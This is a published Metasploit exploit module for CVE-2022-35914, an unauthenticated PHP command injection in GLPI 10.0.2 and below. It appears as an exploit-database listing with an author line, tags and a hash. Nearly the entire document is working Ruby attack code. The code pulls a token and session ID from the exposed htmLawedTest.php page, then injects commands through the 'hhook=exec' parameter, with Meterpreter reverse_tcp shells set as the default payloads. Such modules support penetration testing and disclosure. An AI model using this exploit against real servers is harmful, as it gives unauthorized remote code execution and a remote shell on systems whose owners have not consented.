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GLPI 10.0.2 Command Injection

GLPI 10.0.2 Command Injection
Posted Oct 25, 2022
Authored by bwatters-r7, cosad3s | Site metasploit.com

This Metasploit module exploits an unauthenticated PHP command injection vulnerability in GLPI versions 10.0.2 and below to execute a command.

tags | exploit, php
advisories | CVE-2022-35914
SHA-256 | 529159bd26d8ef9713fdda0560ec98c0fd7749d335736c9d27898c59fbf09efb

GLPI 10.0.2 Command Injection

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GLPI htmLawed php command injection',
'Description' => %q{
This exploit takes advantage of a unauthenticated php command injection available
from GLPI versions 10.0.2 and below to execute a command.
},
'License' => MSF_LICENSE,
'Author' => [
'cosad3s', # PoC https://github.com/cosad3s/CVE-2022-35914-poc
'bwatters-r7' # module
],
'References' => [
['CVE', '2022-35914' ],
['URL', 'https://github.com/cosad3s/CVE-2022-35914-poc']
],
'Platform' => 'linux',
'Arch' => [ARCH_X64, ARCH_CMD],
'CmdStagerFlavor' => [ 'printf' ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
}
}
],
[
'Linux (Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'RPORT' => 80,
'URIPATH' => '/glpi/'
},
'Type' => :linux_dropper
}
],
],
'DisclosureDate' => '2022-01-26',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'Reliability' => [ REPEATABLE_SESSION ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
}
)
)
end

def populate_values
uri = "#{datastore['URIPATH']}/vendor/htmlawed/htmlawed/htmLawedTest.php"
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri),
'connection' => 'keep-alive',
'accept' => '*/*'
})
@html = res.get_html_document
@token = @html.at_xpath('//input[@id="token"]')['value']
vprint_status("token = #{@token}")

# sometimes I got > 1 sid. We must use the last one.
@sid = res.get_cookies.match(/.*=(.*?);.*/)[1]
vprint_status("sid = #{@sid}")
rescue NoMethodError => e
elog('Failed to retrieve token or sid', error: e)
end
end

def execute_command(cmd, _opts = {})
populate_values if @sid.nil? || @token.nil?
uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri),
'cookie' => 'sid=' + @sid,
'ctype' => 'application/x-www-form-urlencoded',
'encode_params' => true,
'vars_post' => {
'token' => @token,
'text' => cmd,
'hhook' => 'exec',
'sid' => @sid
}
})
end

def check
populate_values if @html_doc.nil?
if @token.nil? || @sid.nil? || @html.nil?
return Exploit::CheckCode::Safe('Failed to retrieve htmLawed page')
end
return Exploit::CheckCode::Appears if @html.to_s.include?('htmLawed')

return Exploit::CheckCode::Safe('Unable to determine htmLawed status')
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end

end
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